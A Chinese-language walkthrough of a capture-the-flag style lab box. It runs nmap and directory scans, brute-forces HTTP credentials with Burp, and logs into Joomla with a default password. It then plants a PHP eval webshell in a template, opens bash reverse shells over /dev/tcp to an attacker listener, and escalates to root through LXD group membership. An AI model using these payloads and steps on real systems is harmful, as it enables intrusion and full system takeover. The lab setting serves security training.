信息收集
┌──(root㉿kali)-[~]
└─# arp-scan -l # 通过ARP-scan进行快速的主机发现, 如下图我们猜测10.10.10.138可能是目标主机
┌──(root㉿kali)-[~]
└─# nmap -sS -sV -p- -T4 10.10.10.138 #之后通过nmap对目标机进行深入探测
-A : 全扫描,详细扫描目标IP信息
-v : 显示扫描过程
-sS : SYN的半开扫描,不易被发现
-sV : 扫描服务的版本信息
-p- : 全端口扫描,相当于(-p 1-65535)
-T : 扫描线程,最高6级
通过nmap扫描得到的信息我们发现目标开放了80和8080服务,通过验证80端口的web服务没有利用点属于纯静态页面;但是可以遍历出一些信息便于我们之后构造爆破字典
8080的http服务我们可以尝试爆破获取其username,password
通过Dirsearch进行目录遍历
┌──(root㉿kali)-[~/Downloads/dirsearch]
└─# ./dirsearch.py -e jsp,php,html -u 10.10.10.138 -r ==recursion-depth 3 --recursion-status 200
通过dirb进行遍历
┌──(root㉿kali)-[~/Downloads]
└─# dirb http://10.10.10.138
BurpSuite爆破
抓取GET认证数据包,将其发送到Repeater模块
我们发现其加密方式为Base64加密;并且用户名和密码通过:冒号分隔
接下来设置爆破时的payload
同样给位置2设置一个字典
选择好需要爆破的变量之后开始Attack
如下图所示,经过base64解码之后得到其用户名和密码
joker:hannah
漏洞挖掘
接下来我们使用AWVS对其8080的web站点进一步扫描(提前配置好登陆的用户名和密码),评估其威胁性
通过AWVS的资产评估,我们发现了Joomla的管理员后台登录界面
http://10.10.10.138:8080/administrator/
又在公网上对此cms进行信息收集,发现存在弱口令joomla:joomla;登录到后台之后接下来就好办了
对其后台探究一番之后,发现其模块处可能存在漏洞可以利用
漏洞利用
冰蝎连接Webshell
在随机挑一个模板,在其中写入shell,尝试能否用冰蝎连接上
下方演示是将其写入到模板的index.php中,也可以写入到error.php中只要之后触发错误界面从而触发此文件中的shell即可
访问如下链接(通过扫描器爬取判断路径)来抓取其请求头信息(身份认证)
http://10.10.10.138:8080/templates/beez3/index.php
新增Shell
冰蝎Webshell连接成功
蚁剑连接Webshell
在模板中写入一句话木马
<?php
@eval($_POST['ggbond']);
?>
记得保存
配置蚁剑1
添加请求头
中国蚁剑连接成功
反弹Shell连接服务器
将如下命令插到模板中(-c意思是调用bash命令环境,将标准输入发送到10.10.10.128机器)
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/7777 0>&1'");
保存
Kali机器监听
攻击机kali先开启监听
┌──(root㉿kali)-[~]
└─# nc -lvp 7777 # 端口与插入模板中的反弹shell端口一致
监听开启之后访问插入shell的页面
http://10.10.10.138:8080/templates/beez3/index.php
netcat命令解析
-l : 监听
-p : 监听本地端口
-n : 指定IP
-v : 熟悉详细信息
-h : 帮助
kali反弹Shell成功连接
windows(10.10.10.149)机器监听
windows自身没装nc命令,需要手动安装
记得更改插入模板的监听主机IP呦
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.149/7777 0>&1'");
同样先打开监听7777端口之后访问页面
http://10.10.10.138:8080/templates/beez3/index.php
windows反弹Shell连接成功
小彩蛋
使用Kali自带的反弹Shell
Kali也有自带的反弹Shell
┌──(root㉿kali)-[~/Downloads]
└─# cat /usr/share/webshells/php/php-reverse-shell.php
# 原理一样将其shell插入到后台模板中,记得修改监听地址和端口喔
$ip = '10.10.10.128'; // CHANGE THIS
$port = 7777; // CHANGE THIS
之后访问下面链接
http://10.10.10.138:8080/templates/beez3/index.php
反弹Shell成功
到现在为止我们只是拿到了网站后台的管理员权限并非后台系统权限,接下来我们进行lxd组提权 ~~
提权
要想提权我们得知道Linux相关版本,之后通过版本找对应是否有爆出的漏洞加以利用
通过cat /etc/*release 命令查看Linux内核相关配置信息;我们发现此靶场是18.04版的linux
$ cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.3 LTS"
NAME="Ubuntu"
VERSION="18.04.3 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.3 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
www-data@ubuntu:/tmp$ id # 通过查看id发现此用户属于lxd组用户;之后我们便可以猜想是否可以将lxd组用户提权至root用户
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
┌──(root㉿kali)-[~/dirtycow]
└─# searchsploit Ubuntu 18.04 # 在kali中查看是否存在其相应的提权EXP,发现可以尝试LXD提权
┌──(root㉿kali)-[~/dirtycow]
└─# searchsploit -p 46978 # 查看相关EXP的详细信息
┌──(root㉿kali)-[~/dirtycow]
└─# cat /usr/share/exploitdb/exploits/linux/local/46978.sh # 查看使用说明
下载EXP
┌──(root㉿kali)-[~]
└─# git clone https://github.com/saghul/lxd-alpine-builder.git
┌──(root㉿kali)-[~]
└─# cd lxd-alpine-builder
┌──(root㉿kali)-[~/lxd-alpine-builder]
└─# ls
alpine-v3.13-x86_64-20210218_0139.tar.gz build-alpine LICENSE README.md
┌──(root㉿kali)-[~/lxd-alpine-builder]
└─# ./build-alpine # 运行脚本构建最新alpine镜像
确保本地web服务开启便于将本地编译好的apline镜像传到目标机
┌──(root㉿kali)-[~/lxd-alpine-builder]
└─# systemctl status apache2.service
将镜像复制到html目录下并且更改权限777方便目标机wget
┌──(root㉿kali)-[/var/www/html]
└─# cp /root/lxd-alpine-builder/alpine-v3.16-x86_64-20221021_0836.tar.gz ./
之后回到反弹Shell界面将其从kali上wget下来
www-data@ubuntu:/opt/joomla/templates/beez3$ cd /tmp
www-data@ubuntu:/tmp$ wget http://10.10.10.128/alpine-v3.16-x86_64-20221021_0836.tar.gz
导入镜像
www-data@ubuntu:/tmp$ lxc image import ./alpine-v3.16-x86_64-20221021_0836.tar.gz --alias myimage
初始化镜像
www-data@ubuntu:/tmp$ lxc init myimage ignite -c security.privileged=true
挂载磁盘
www-data@ubuntu:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
启动镜像
www-data@ubuntu:/tmp$ lxc start ignite
进入镜像,此时我们便可以通过root用户访问任意文件了
www-data@ubuntu:/tmp$ lxc exec ignite /bin/sh
LXD提权成功
进入到挂载文件中最终找到了靶机flag
cd /mnt/root/root
cat final.txt